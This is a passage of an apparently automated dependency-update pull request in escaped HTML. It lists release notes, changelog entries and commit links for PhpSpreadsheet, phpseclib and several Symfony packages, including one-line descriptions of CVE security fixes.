href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4832\"\u003ePHPOffice/PhpSpreadsheet#4832\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4835\"\u003e#4835\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4835\"\u003ePHPOffice/PhpSpreadsheet#4835\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eReader Xlsx Hyperlink with Anchor. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4842\"\u003e#4842\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4842\"\u003ePHPOffice/PhpSpreadsheet#4842\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4843\"\u003e#4843\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4843\"\u003ePHPOffice/PhpSpreadsheet#4843\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e2026-02-28 - 5.5.0\u003c/h2\u003e\n\u003ch3\u003eAdded\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eMuch improved handling of Styles by Ods Reader. The relevant changes are listed at the end of the \u0026quot;Fixed\u0026quot; section below.\u003c/li\u003e\n\u003cli\u003eOption to use OldCalculatedValue in ToArray and Relatives. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/1810\"\u003e#1810\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/1810\"\u003ePHPOffice/PhpSpreadsheet#1810\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4787\"\u003e#4787\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4787\"\u003ePHPOffice/PhpSpreadsheet#4787\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdd checkbox style (Xlsx and Html). [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4781\"\u003e#4781\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4781\"\u003ePHPOffice/PhpSpreadsheet#4781\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eOption to whitelist external images. [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4793\"\u003e#4793\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4793\"\u003ePHPOffice/PhpSpreadsheet#4793\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eWriter/Html add ability to set line ending. [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4779\"\u003e#4779\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4779\"\u003ePHPOffice/PhpSpreadsheet#4779\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/9f55d3b9b7bcb1084fda8340e4b7ce4ed10cd0c8\"\u003e\u003ccode\u003e9f55d3b\u003c/code\u003e\u003c/a\u003e Merge pull request \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4859\"\u003e#4859\u003c/a\u003e from oleibman/updchangelog20260419\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/2e35213f2a5c8430f8f46294e7d472c30cf123be\"\u003e\u003ccode\u003e2e35213\u003c/code\u003e\u003c/a\u003e Update Changelog for New Release\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/9019a9c9da1daee02d55c40f45f23a3c7eba5b62\"\u003e\u003ccode\u003e9019a9c\u003c/code\u003e\u003c/a\u003e Merge commit from fork\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/f1eb4e6980d537ec85fc20be5950f9ad65d47ffd\"\u003e\u003ccode\u003ef1eb4e6\u003c/code\u003e\u003c/a\u003e Merge commit from fork\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/9b90dee03deb0d28761479c4a3a06fba5f7e012e\"\u003e\u003ccode\u003e9b90dee\u003c/code\u003e\u003c/a\u003e Merge pull request \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4857\"\u003e#4857\u003c/a\u003e from oleibman/changelog20260406\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/f302b3265a3c471438192eea5a8cca26c1d52e88\"\u003e\u003ccode\u003ef302b32\u003c/code\u003e\u003c/a\u003e Prepare Changelog For New Release\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/4a476071b3e0d633906251d95e73ad7464a32337\"\u003e\u003ccode\u003e4a47607\u003c/code\u003e\u003c/a\u003e Merge pull request \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4850\"\u003e#4850\u003c/a\u003e from oleibman/updatestan\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/8a9e9b561043ad5c9ed869a9c9b6658a7b1c50c3\"\u003e\u003ccode\u003e8a9e9b5\u003c/code\u003e\u003c/a\u003e Merge pull request \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4845\"\u003e#4845\u003c/a\u003e from oleibman/csvnonutf8\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/5d6d7d537f941ecfff5990f33558bad74d075be5\"\u003e\u003ccode\u003e5d6d7d5\u003c/code\u003e\u003c/a\u003e Merge branch 'master' into csvnonutf8\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/6f23fe3d8c3b2604360bbc4d1778a1f41d6c1d52\"\u003e\u003ccode\u003e6f23fe3\u003c/code\u003e\u003c/a\u003e Merge pull request \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4844\"\u003e#4844\u003c/a\u003e from oleibman/xlookup\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/compare/4.5.0...5.7.0\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `phpseclib/phpseclib` from 3.0.50 to 3.0.52\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/phpseclib/phpseclib/releases\"\u003ephpseclib/phpseclib's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e3.0.52\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eASN1: more stringent OID length limits (CVE-2026-44167)\u003c/li\u003e\n\u003cli\u003eRSA: OpenSSL 3.2+ changed how PKCS1 decryption works (\u003ca href=\"https://redirect.github.com/phpseclib/phpseclib/issues/2136\"\u003e#2136\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eKeys/OpenSSH: support comments with spaces in them (\u003ca href=\"https://redirect.github.com/phpseclib/phpseclib/issues/2137\"\u003e#2137\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e3.0.51\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eSSH2: use constant time string comparison in get_binary_packet() (CVE-2026-40194)\u003c/li\u003e\n\u003cli\u003eRSA: add sha3 support (\u003ca href=\"https://redirect.github.com/phpseclib/phpseclib/issues/2132\"\u003e#2132\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003euse new OpenSSL functionality (\u003ca href=\"https://redirect.github.com/phpseclib/phpseclib/issues/2130\"\u003e#2130\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/phpseclib/phpseclib/blob/master/CHANGELOG.md\"\u003ephpseclib/phpseclib's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e3.0.52 - 2026-04-27\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eASN1: more stringent OID length limits (CVE-2026-44167)\u003c/li\u003e\n\u003cli\u003eRSA: OpenSSL 3.2+ changed how PKCS1 decryption works (\u003ca href=\"https://redirect.github.com/phpseclib/phpseclib/issues/2136\"\u003e#2136\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eKeys/OpenSSH: support comments with spaces in them (\u003ca href=\"https://redirect.github.com/phpseclib/phpseclib/issues/2137\"\u003e#2137\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e3.0.51 - 2026-04-09\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eSSH2: use constant time string comparison in get_binary_packet() (CVE-2026-40194)\u003c/li\u003e\n\u003cli\u003eRSA: add sha3 support (\u003ca href=\"https://redirect.github.com/phpseclib/phpseclib/issues/2132\"\u003e#2132\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003euse new OpenSSL functionality (\u003ca href=\"https://redirect.github.com/phpseclib/phpseclib/issues/2130\"\u003e#2130\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/phpseclib/phpseclib/commit/2adaefc83df2ec548558307690f376dd7d4f4fce\"\u003e\u003ccode\u003e2adaefc\u003c/code\u003e\u003c/a\u003e Merge branch '2.0' into 3.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/phpseclib/phpseclib/commit/a96a835067c39ee7a709329fe70869817da18081\"\u003e\u003ccode\u003ea96a835\u003c/code\u003e\u003c/a\u003e Merge branch '1.0' into 2.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/phpseclib/phpseclib/commit/15ace8dd0b6942a7c49c9e83cf41de1b77924ba7\"\u003e\u003ccode\u003e15ace8d\u003c/code\u003e\u003c/a\u003e CHANGELOG: add new entry\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/phpseclib/phpseclib/commit/457f3c4d99b965769f6459efc72eed1a590c6fa4\"\u003e\u003ccode\u003e457f3c4\u003c/code\u003e\u003c/a\u003e Merge branch '2.0' into 3.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/phpseclib/phpseclib/commit/84dbb961ea3c4663f9f733ed2493db68d81ecbf0\"\u003e\u003ccode\u003e84dbb96\u003c/code\u003e\u003c/a\u003e Tests/X509: update for 2.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/phpseclib/phpseclib/commit/5e29734afd7bb6d55494f7bea4a75f7f36c7b617\"\u003e\u003ccode\u003e5e29734\u003c/code\u003e\u003c/a\u003e Merge branch '1.0' into 2.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/phpseclib/phpseclib/commit/2d4e05358b1b1f3245095ec05b79ab8a3f3b2f23\"\u003e\u003ccode\u003e2d4e053\u003c/code\u003e\u003c/a\u003e Tests/X509: add test for \u0026quot;OID bomb\u0026quot;\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/phpseclib/phpseclib/commit/e381a8b254bfa49ec63334e5fe9293585cca9af9\"\u003e\u003ccode\u003ee381a8b\u003c/code\u003e\u003c/a\u003e Merge branch '2.0' into 3.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/phpseclib/phpseclib/commit/408664b7b8c70a0d827997eb932cc7e4cf206e6a\"\u003e\u003ccode\u003e408664b\u003c/code\u003e\u003c/a\u003e Merge branch '1.0' into 2.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/phpseclib/phpseclib/commit/d53d2021bcb9f6a04d5d44ec99e6bbef219a71bc\"\u003e\u003ccode\u003ed53d202\u003c/code\u003e\u003c/a\u003e ASN1: reduce length of supported OIDs from 4096 bytes to 128 bytes\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/phpseclib/phpseclib/compare/3.0.50...3.0.52\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `symfony/cache` from 7.4.8 to 7.4.13\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/symfony/cache/releases\"\u003esymfony/cache's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev7.4.13\u003c/h2\u003e\n\u003cp\u003e\u003cstrong\u003eChangelog\u003c/strong\u003e (\u003ca href=\"https://github.com/symfony/cache/compare/v7.4.12...v7.4.13\"\u003ehttps://github.com/symfony/cache/compare/v7.4.12...v7.4.13\u003c/a\u003e)\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003ebug \u003ca href=\"https://redirect.github.com/symfony/cache/issues/64330\"\u003e#64330\u003c/a\u003e  Fix strlen(null) deprecation on RelayCluster path in RedisTrait::doClear() (\u003ca href=\"https://github.com/signor-pedro\"\u003e\u003ccode\u003e@​signor-pedro\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003ebug \u003ca href=\"https://redirect.github.com/symfony/cache/issues/64336\"\u003e#64336\u003c/a\u003e  Accept '_' and ':' in prefix passed to AbstractAdapter::clear() (\u003ca href=\"https://github.com/nicolas-grekas\"\u003e\u003ccode\u003e@​nicolas-grekas\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003ev7.4.12\u003c/h2\u003e\n\u003cp\u003e\u003cstrong\u003eChangelog\u003c/strong\u003e (\u003ca href=\"https://github.com/symfony/cache/compare/v7.4.10...v7.4.12\"\u003ehttps://github.com/symfony/cache/compare/v7.4.10...v7.4.12\u003c/a\u003e)\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003esecurity #cve-2026-45073  Validate the prefix given to AbstractAdapter::clear() (\u003ca href=\"https://github.com/nicolas-grekas\"\u003e\u003ccode\u003e@​nicolas-grekas\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003ev7.4.10\u003c/h2\u003e\n\u003cp\u003e\u003cstrong\u003eChangelog\u003c/strong\u003e (\u003ca href=\"https://github.com/symfony/cache/compare/v7.4.9...v7.4.10\"\u003ehttps://github.com/symfony/cache/compare/v7.4.9...v7.4.10\u003c/a\u003e)\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003ebug \u003ca href=\"https://redirect.github.com/symfony/cache/issues/64122\"\u003e#64122\u003c/a\u003e  Ensure compatibility with Relay extension 0.22.0 (\u003ca href=\"https://github.com/nicolas-grekas\"\u003e\u003ccode\u003e@​nicolas-grekas\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003ev7.4.9\u003c/h2\u003e\n\u003cp\u003e\u003cstrong\u003eChangelog\u003c/strong\u003e (\u003ca href=\"https://github.com/symfony/cache/compare/v7.4.8...v7.4.9\"\u003ehttps://github.com/symfony/cache/compare/v7.4.8...v7.4.9\u003c/a\u003e)\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003ebug \u003ca href=\"https://redirect.github.com/symfony/cache/issues/64060\"\u003e#64060\u003c/a\u003e  Normalize default_lifetime for pools wrapped by ChainAdapter (\u003ca href=\"https://github.com/ostrolucky\"\u003e\u003ccode\u003e@​ostrolucky\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003ebug \u003ca href=\"https://redirect.github.com/symfony/cache/issues/63964\"\u003e#63964\u003c/a\u003e  Ensure internal state is cleared in TagAwareAdapter::reset() … (\u003ca href=\"https://github.com/KevinMartinsDev\"\u003e\u003ccode\u003e@​KevinMartinsDev\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003ebug \u003ca href=\"https://redirect.github.com/symfony/cache/issues/63860\"\u003e#63860\u003c/a\u003e  Fix Psr16Cache::getMultiple() returning wrapper values when using TTL (\u003ca href=\"https://github.com/nicolas-grekas\"\u003e\u003ccode\u003e@​nicolas-grekas\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/symfony/cache/commit/4c09e18a92cce126cc0d1155825279fca8cd0673\"\u003e\u003ccode\u003e4c09e18\u003c/code\u003e\u003c/a\u003e Merge branch '6.4' into 7.4\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/symfony/cache/commit/5490a577195422c3c9cda09c64823580858af854\"\u003e\u003ccode\u003e5490a57\u003c/code\u003e\u003c/a\u003e Merge branch '5.4' into 6.4\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/symfony/cache/commit/bf581474737420d5c932ae80b868e253f465ee5b\"\u003e\u003ccode\u003ebf58147\u003c/code\u003e\u003c/a\u003e [Cache] skip tests for adapters that cannot clear by prefix\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/symfony/cache/commit/f796e475dab92297560deadfc24a0a3e0772603f\"\u003e\u003ccode\u003ef796e47\u003c/code\u003e\u003c/a\u003e Ignore Doctrine DBAL deprecations that can't be worked around\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/symfony/cache/commit/bf9d30fc7a5574e62845dd0308d09de7f7a9e25e\"\u003e\u003ccode\u003ebf9d30f\u003c/code\u003e\u003c/a\u003e Merge branch '6.4' into 7.4\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/symfony/cache/commit/03472b667be6d76f9dd22f3843ddfc888d6e1703\"\u003e\u003ccode\u003e03472b6\u003c/code\u003e\u003c/a\u003e [Cache] Fix strlen(null) deprecation on RelayCluster path in RedisTrait::doCl...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/symfony/cache/commit/860240538c391dffef690a2bf0fd503b76540f56\"\u003e\u003ccode\u003e8602405\u003c/code\u003e\u003c/a\u003e Merge branch '5.4' into 6.4\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/symfony/cache/commit/4acd37c5c4ae48c88c1bedec4109857e2f277c42\"\u003e\u003ccode\u003e4acd37c\u003c/code\u003e\u003c/a\u003e [Cache] Accept '_' and ':' in prefix passed to AbstractAdapter::clear()\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/symfony/cache/commit/902d621e0b6ef0ebeaa133770b5c339a19328589\"\u003e\u003ccode\u003e902d621\u003c/code\u003e\u003c/a\u003e Merge branch '6.4' into 7.4\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/symfony/cache/commit/8f9b022e63fa02bd984c06dc886039936ea17714\"\u003e\u003ccode\u003e8f9b022\u003c/code\u003e\u003c/a\u003e Merge branch '5.4' into 6.4\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/symfony/cache/compare/v7.4.8...v7.4.13\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `symfony/dom-crawler` from 7.4.8 to 7.4.12\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/symfony/dom-crawler/releases\"\u003esymfony/dom-crawler's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev7.4.12\u003c/h2\u003e\n\u003cp\u003e\u003cstrong\u003eChangelog\u003c/strong\u003e (\u003ca href=\"https://github.com/symfony/dom-crawler/compare/v7.4.1...v7.4.12\"\u003ehttps://github.com/symfony/dom-crawler/compare/v7.4.1...v7.4.12\u003c/a\u003e)\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003ebug \u003ca href=\"https://redirect.github.com/symfony/dom-crawler/issues/64258\"\u003e#64258\u003c/a\u003e  Fix \u003ccode\u003eChoiceFormField::addChoice()\u003c/code\u003e clobbering values on multi-selects (\u003ca href=\"https://github.com/nicolas-grekas\"\u003e\u003ccode\u003e@​nicolas-grekas\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003esecurity #cve-2026-45071  Fix XXE in addXmlContent() by not enabling \u003ccode\u003evalidateOnParse\u003c/code\u003e (\u003ca href=\"https://github.com/alexandre-daubois\"\u003e\u003ccode\u003e@​alexandre-daubois\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/symfony/dom-crawler/commit/b59b59122690976550fd142c23fab62c84738db6\"\u003e\u003ccode\u003eb59b591\u003c/code\u003e\u003c/a\u003e Merge branch '6.4' into 7.4\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/symfony/dom-crawler/commit/7e65f76c28f5ed8d933f2c86698a3e2bf0de1b10\"\u003e\u003ccode\u003e7e65f76\u003c/code\u003e\u003c/a\u003e Merge branch '5.4' into 6.4\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/symfony/dom-crawler/commit/b18373e86fbc4558a206e8055158c8e3e50c4da3\"\u003e\u003ccode\u003eb18373e\u003c/code\u003e\u003c/a\u003e Merge branch '6.4' into 7.4\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/symfony/dom-crawler/commit/505deba47e489a7694e0b6942df83a358197e921\"\u003e\u003ccode\u003e505deba\u003c/code\u003e\u003c/a\u003e [DomCrawler] Fix \u003ccode\u003eChoiceFormField::addChoice()\u003c/code\u003e clobbering values on multi-se...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/symfony/dom-crawler/commit/f47410019c605a651d000371de7263b70a78c681\"\u003e\u003ccode\u003ef474100\u003c/code\u003e\u003c/a\u003e Update XSD references in phpunit.xml.dist files\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/symfony/dom-crawler/commit/b4cf17ff405a77341ad86e81e06ff09298f5aa8f\"\u003e\u003ccode\u003eb4cf17f\u003c/code\u003e\u003c/a\u003e [DomCrawler] Fix XXE in addXmlContent() by not enabling \u003ccode\u003evalidateOnParse\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/symfony/dom-crawler/commit/6d86f9727e216e81f9d18d32bc4701d70c9d0ac4\"\u003e\u003ccode\u003e6d86f97\u003c/code\u003e\u003c/a\u003e [Tests] Fix \u0026quot;Incomplete version\u0026quot; PHPUnit warnings\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/symfony/dom-crawler/commit/04ca269f9c0aca5f41b1230bf1fce4f0928f669a\"\u003e\u003ccode\u003e04ca269\u003c/code\u003e\u003c/a\u003e Merge branch '6.4' into 7.4\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/symfony/dom-crawler/commit/eac26cf4833a05a92356d285329bfd63e0e46d64\"\u003e\u003ccode\u003eeac26cf\u003c/code\u003e\u003c/a\u003e More CS fixes\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/symfony/dom-crawler/commit/ca5ad736e4366c8b1499bc493fd86d3bb38c93c2\"\u003e\u003ccode\u003eca5ad73\u003c/code\u003e\u003c/a\u003e Merge branch '6.4' into 7.4\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/symfony/dom-crawler/compare/v7.4.8...v7.4.12\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `symfony/mailer` from 6.4.34 to 6.4.40\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/symfony/mailer/releases\"\u003esymfony/mailer's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev6.4.40\u003c/h2\u003e\n\u003cp\u003e\u003cstrong\u003eChangelog\u003c/strong\u003e (\u003ca href=\"https://github.com/symfony/mailer/compare/v6.4.31...v6.4.40\"\u003ehttps://github.com/symfony/mailer/compare/v6.4.31...v6.4.40\u003c/a\u003e)\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003esecurity #cve-2026-45068  Add end-of-options separator before recipients in SendmailTransport; reject addresses starting with a dash (\u003ca href=\"https://github.com/alexandre-daubois\"\u003e\u003ccode\u003e@​alexandre-daubois\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/symfony/mailer/commit/94fd44f3052e02340b0dd4447a7d7a5856e32da2\"\u003e\u003ccode\u003e94fd44f\u003c/code\u003e\u003c/a\u003e Merge branch '5.4' into 6.4\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/symfony/mailer/commit/5b5385bc21c3549a80abc1353ccf8eb0b6861c61\"\u003e\u003ccode\u003e5b5385b\u003c/code\u003e\u003c/a\u003e [Mailer] Add end-of-options separator before recipients in SendmailTransport;...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/symfony/mailer/commit/602519c3466621897c556125dbf644ec8dde2b38\"\u003e\u003ccode\u003e602519c\u003c/code\u003e\u003c/a\u003e PHP CS Fixer: backports changes toward 6.4 branch\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/symfony/mailer/commit/a2918c6f34e601472ee891b517ab223e216ca5a3\"\u003e\u003ccode\u003ea2918c6\u003c/code\u003e\u003c/a\u003e CS fixes - native_function_invocation \u0026amp; static_lambda\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/symfony/mailer/commit/d56a83b4ba1de6375d0745de9299daf078426fd1\"\u003e\u003ccode\u003ed56a83b\u003c/code\u003e\u003c/a\u003e [CS] Back config from 8.1 and apply heredoc_indentation rule\u003c/li\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/symfony/mailer/compare/v6.4.34...v6.4.40\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `symfony/mime` from 6.4.36 to 6.4.41\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/symfony/mime/releases\"\u003esymfony/mime's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev6.4.41\u003c/h2\u003e\n\u003cp\u003e\u003cstrong\u003eChangelog\u003c/strong\u003e (\u003ca href=\"https://github.com/symfony/mime/compare/v6.4.40...v6.4.41\"\u003ehttps://github.com/symfony/mime/compare/v6.4.40...v6.4.41\u003c/a\u003e)\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003ebug \u003ca href=\"https://redirect.github.com/symfony/mime/issues/64343\"\u003e#64343\u003c/a\u003e  Harden __unserialize against __toString trampolines (\u003ca href=\"https://github.com/nicolas-grekas\"\u003e\u003ccode\u003e@​nicolas-grekas\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003ev6.4.40\u003c/h2\u003e\n\u003cp\u003e\u003cstrong\u003eChangelog\u003c/strong\u003e (\u003ca href=\"https://github.com/symfony/mime/compare/v6.4.37...v6.4.40\"\u003ehttps://github.com/symfony/mime/compare/v6.4.37...v6.4.40\u003c/a\u003e)\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003esecurity #cve-2026-45067  Reject email addresses containing line breaks in Address (\u003ca href=\"https://github.com/alexandre-daubois\"\u003e\u003ccode\u003e@​alexandre-daubois\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003ev6.4.37\u003c/h2\u003e\n\u003cp\u003e\u003cstrong\u003eChangelog\u003c/strong\u003e (\u003ca 